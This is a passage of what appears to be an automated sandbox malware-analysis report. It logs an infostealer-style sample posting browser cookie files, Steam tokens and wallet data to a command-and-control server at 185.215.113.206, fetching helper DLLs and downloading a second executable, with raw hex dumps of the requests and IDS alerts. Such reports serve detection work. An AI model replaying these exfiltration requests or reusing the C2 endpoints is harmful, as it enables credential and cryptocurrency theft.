0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 4a 4a 45 47 48 49 49 44 41 46 49 44 48 4a 44 48 4a 45 2d 2d 0d 0a Data Ascii: ------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------DHJJEGHIIDAFIDHJDHJEContent-Disposition: form-data; name="message"fplugins------DHJJEGHIIDAFIDHJDHJE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DGCAAFBFBKFIDGDHJDBKHost: 185.215.113.206Content-Length: 5475Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DAKFIDHDGIEGCAKFIIJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 41 4b 46 49 44 48 44 47 49 45 47 43 41 4b 46 49 49 4a 4b 2d 2d 0d 0a Data Ascii: ------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------DAKFIDHDGIEGCAKFIIJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------DAKFIDHDGIEGCAKFIIJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFBAAFHDHCBGCAKFHDAKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 46 42 41 41 46 48 44 48 43 42 47 43 41 4b 46 48 44 41 4b 2d 2d 0d 0a Data Ascii: ------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BFBAAFHDHCBGCAKFHDAKContent-Disposition: form-data; name="file"------BFBAAFHDHCBGCAKFHDAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IIEHCFIDHIDGIDHJEHIDHost: 185.215.113.206Content-Length: 431Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 4e 61 57 4e 79 62 33 4e 76 5a 6e 51 67 52 57 52 6e 5a 56 39 45 5a 57 5a 68 64 57 78 30 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 48 43 46 49 44 48 49 44 47 49 44 48 4a 45 48 49 44 2d 2d 0d 0a Data Ascii: ------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="file_name"Y29va2llc1xNaWNyb3NvZnQgRWRnZV9EZWZhdWx0LnR4dA==------IIEHCFIDHIDGIDHJEHIDContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------IIEHCFIDHIDGIDHJEHID--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAKEBAECGCBAAAAAEBAHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 4b 45 42 41 45 43 47 43 42 41 41 41 41 41 45 42 41 2d 2d 0d 0a Data Ascii: ------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------EBAKEBAECGCBAAAAAEBAContent-Disposition: form-data; name="file"------EBAKEBAECGCBAAAAAEBA--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKEHDGDGHCBGCAKFIIIEHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IEHJDGIDBAAFIDGCGCAKHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 49 45 48 4a 44 47 49 44 42 41 41 46 49 44 47 43 47 43 41 4b 2d 2d 0d 0a Data Ascii: ------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------IEHJDGIDBAAFIDGCGCAKContent-Disposition: form-data; name="message"wallets------IEHJDGIDBAAFIDGCGCAK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJECHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="message"files------AKJEGCFBGDHJJJJJKJEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IDHIEGIIIECAKEBFBAAEHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 45 47 49 49 49 45 43 41 4b 45 42 46 42 41 41 45 2d 2d 0d 0a Data Ascii: ------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------IDHIEGIIIECAKEBFBAAEContent-Disposition: form-data; name="file"------IDHIEGIIIECAKEBFBAAE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EBAFBGIDHCBFHIECFCBGHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 42 41 46 42 47 49 44 48 43 42 46 48 49 45 43 46 43 42 47 2d 2d 0d 0a Data Ascii: ------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------EBAFBGIDHCBFHIECFCBGContent-Disposition: form-data; name="message"ybncbhylepme------EBAFBGIDHCBFHIECFCBG--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----FHIECBAFBFHIJKFIJDAKHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 37 63 64 37 63 30 39 37 35 33 31 36 32 30 32 30 37 31 30 33 62 31 33 65 30 35 61 62 62 61 66 37 37 35 66 65 38 33 39 66 61 37 30 34 33 37 66 31 34 33 66 34 37 37 34 63 35 32 36 30 31 66 35 32 36 36 37 64 37 34 33 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 45 43 42 41 46 42 46 48 49 4a 4b 46 49 4a 44 41 4b 2d 2d 0d 0a Data Ascii: ------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="token"7cd7c097531620207103b13e05abbaf775fe839fa70437f143f4774c52601f52667d743f------FHIECBAFBFHIJKFIJDAKContent-Disposition: form-data; name="message"wkkjqaiaxkhb------FHIECBAFBFHIJKFIJDAK--

Source: Joe Sandbox View	IP Address: 23.200.0.42 23.200.0.42
Source: Joe Sandbox View	IP Address: 13.107.246.63 13.107.246.63
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40
Source: Joe Sandbox View	IP Address: 13.107.246.40 13.107.246.40

Source: Joe Sandbox View	JA3 fingerprint: 1138de370e523e824bbca92d049a3777
Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49704 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49750 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49849 -> 185.215.113.16:80

Source: unknown

HTTPS traffic detected: 23.1.237.91:443 -> 192.168.2.5:49862 version: TLS 1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlqHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=9AM7fOcMCZtunDN&MD=TF3CUE6U HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
